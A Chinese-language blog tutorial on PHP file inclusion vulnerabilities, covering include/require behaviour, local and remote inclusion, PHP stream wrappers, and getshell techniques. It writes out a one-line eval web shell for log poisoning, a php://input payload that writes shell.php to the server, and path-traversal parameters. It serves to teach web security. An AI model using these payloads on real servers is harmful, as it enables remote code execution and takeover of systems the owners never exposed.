文件包含漏洞

文件包含漏洞

什么是文件包含

簡單一句話,為了更好地使用代碼的重用性,引入了文件包含函數,可以通過文件包含函數將文件包含進來,直接使用包含文件的代碼。

文件包含漏洞成因

在包含文件時候,為了靈活包含文件,將被包含文件設置為變量,通過動態(tài)變量來引入需要包含的文件時,用戶可以對變量的值可控而服務器端未對變量值進行合理地校驗或者校驗被繞過,這樣就導致了文件包含漏洞。通常文件包含漏洞出現在PHP語言中。

PHP文件包含的函數

include(‘file.php’)

當使用該函數包含文件時,只有代碼執(zhí)行到 include()函數時才將文件包含
進來,發(fā)生錯誤時之給出一個警告,繼續(xù)向下執(zhí)行。

include_once( )

功能與 Include()相同,區(qū)別在于當重復調用同一文件時,程序只調用一次

require( )

require()與 include()的區(qū)別在于 require()執(zhí)行如果發(fā)生錯誤,函數會輸出
錯誤信息,并終止腳本的運行。

require_once( )

功能與 require()相同,區(qū)別在于當重復調用同一文件時,程序只調用一次。

文件包含漏洞分類

本地文件包含漏洞(LFI)->local file include

當包含的文件在服務器本地時,就形成了本地文件包含。
//lfi.php ?file=../phpinfo.txt
先說一下文件包含的一個要點:文件包含可以包含任意文件,即便被包含的文件并不是與當前編程語言相關,甚至為圖片,只要文件被包含,其內容會被包含文件包含,并以當前服務器腳本語言執(zhí)行。
可以看到,以上代碼中可以控制可控參數file來控制包含的$file的值。
如果包含的文件內容不符合php語言語法的,會直接將文件內容輸出,比如:

?file=../file.txt

遠程文件包含漏洞(RFI)->remote file include

遠程文件包含,可以包含遠程文件
利用條件

allow_url_fopen=On
allow_url_include=On

PHP偽協(xié)議加載文件

file:// — 訪問本地文件系統(tǒng) //allow_url_fopen和allow_url_include
雙Off情況下可正常使用

http:// — 訪問 HTTP(s) 網址 //allow_url_fopen和allow_url_include雙on

情況下可正常使用

ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams) //不需要開啟allow_url_fopen(僅
php://input,php://stdin,php://memory和php://temp需要allow_url_include=On)
zlib:// — 壓縮流 //雙Off條件下可使用
data:// — 數據(RFC 2397) //雙On
glob:// — 查找匹配的文件路徑模式
phar:// — PHP 歸檔
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音頻流
expect:// — 處理交互式的流

具體利用參考文件包含漏洞.xlsx

利用文件包含漏洞getshell

利用日志文件getshell

隨便請求一個url/<?php @eval($_POST[cmd])?>
此請求會被記錄到訪問日志文件中,linux apache在/var/log/httpd/access.log中
再利用文件包含漏洞將日志文件包含進來,即可getshell

利用偽協(xié)議執(zhí)行shell或寫入shell

執(zhí)行shell參考文件包含漏洞.xlsx中提供的方法
寫shell

?file=php://input

POST

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

  • 文件上傳漏洞 文件上傳漏洞就是用戶上傳一個可執(zhí)行的文件腳本,并通過腳本獲得執(zhí)行服務器端命令的的能力。 上傳的文件可...
    L1E6N0A2閱讀 1,526評論 0 2
  • 一、文件包含漏洞簡介 1、包含:程序開發(fā)人員通常會把可重復使用的函數寫到單個文件中,在使用某些函數時,直接調用此文...
    小小怪吃吃吃閱讀 1,582評論 0 0
  • http://tieba.baidu.com/p/2310282657 什么是”遠程文件包含漏洞”?服務器通過ph...
    查無此人asdasd閱讀 2,155評論 0 2
  • 漏洞概述: 文件包含漏洞是指客戶端(一般為瀏覽器)用戶通過輸入控制動態(tài)包含在服務器的文件,從而導致惡意代碼的執(zhí)行及...
    book4yi閱讀 2,160評論 0 1
  • 今天感恩節(jié)哎,感謝一直在我身邊的親朋好友。感恩相遇!感恩不離不棄。 中午開了第一次的黨會,身份的轉變要...
    余生動聽閱讀 10,814評論 0 11

友情鏈接更多精彩內容